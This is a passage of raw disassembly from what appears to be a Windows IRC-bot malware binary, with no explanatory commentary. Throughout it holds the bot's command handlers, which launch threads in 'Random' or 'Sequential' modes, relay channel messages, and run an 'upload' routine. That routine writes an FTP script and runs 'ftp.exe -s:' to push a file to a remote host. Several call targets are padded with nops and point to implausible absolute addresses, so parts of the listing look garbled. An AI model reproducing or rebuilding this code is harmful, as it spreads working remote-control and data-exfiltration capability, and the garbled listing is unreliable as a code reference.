nop call near ptr 26709C5h push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 2670000h nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call near ptr 26709C5h nop push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj call near ptr 26709C5h nop push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 26709C5h push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj call near ptr 26709C5h nop push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2670000h nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 26709C5h push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 26709C5h push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call near ptr 26709C5h nop push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j call near ptr 26709C5h nop push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 2670000h jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj call near ptr 26709C5h nop push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2670000h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j call near ptr 26709C5h nop push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 2690BC7h test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 26709C5h nop push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi 